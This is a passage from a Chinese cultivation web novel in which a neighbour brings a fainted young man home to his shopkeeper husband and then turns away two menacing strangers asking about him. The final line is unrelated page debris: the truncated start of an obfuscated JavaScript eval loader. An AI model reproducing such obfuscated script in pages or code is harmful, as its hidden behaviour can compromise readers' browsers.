张娘子道:“我也不知是怎么个情况,走在路上他突然头疼,差点栽下去,好险遇到路人扶了一把,又有几个巡逻的修士,给他喂了止痛的丹药,否则我都难把他扶回来!”
沈归烬伸手往殷琰额心一探,发现自己用来封他灵台的灵针偏移,似乎被什么触动。
巡逻的修士偶尔会对凡人施以援手,好在对方也不会细查,更没胡乱喂药,止痛丹只是临时解痛的。
沈归烬将殷琰从张娘子手中接过,打横抱起:“多亏你救我家夫郎一命。”
“哪里的话,都是做街坊邻居的……”
张娘子这般说着,听沈掌柜口口声声叫“夫郎”,很想问几句,又见殷琰惨白的面容,便又忍下来,也不敢耽误,说,“我看你这铺子今日也难开了,你好生顾着他,我帮你把门捎带上。”
沈归烬自然没心情再开铺子,谢道:“有劳张娘子。”
说罢抱着殷琰进了屋子。
……
张娘子转回前铺,正要帮沈归烬关铺门,两个带着斗笠的生人忽然走过来问道:“刚看你把一个小哥儿送进去,他是谁?这铺子怎就关了门,不开张了?”
张娘子回头望望两人,见对方一高一矮,高的容貌粗犷,身形异常壮硕,脸上带着一道骇人的疤,矮的则一副尖嘴猴腮的模样,脸上虽堆着笑,却像要刻意伪装和善,眸色间掩不住阴毒。
她是做生意的,见惯了来往的人,一眼察觉这两人不像什么好面相。
张娘子生出些警觉,想起刚给殷琰说过的魔修,没敢透露太多,只道:
“哦,那小哥儿啊,那是这家掌柜的夫郎,路上犯了头风,宗门修士方才给了药,我帮着给送回去……这铺子今日怕是不开张了,二位若来买药,隔壁街也有一家铺子,不妨到那儿看看。”
她刻意提了宗门修士,见这两人果然神色一紧,各自嘀咕了一句:“犯了头风?”
张娘子装作好奇地询问:“怎么,你们不是来买药的?怎问起人家哥儿?”
石越与熊毅对视一眼,随口打了个哈哈,没再问什么,扭头走了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode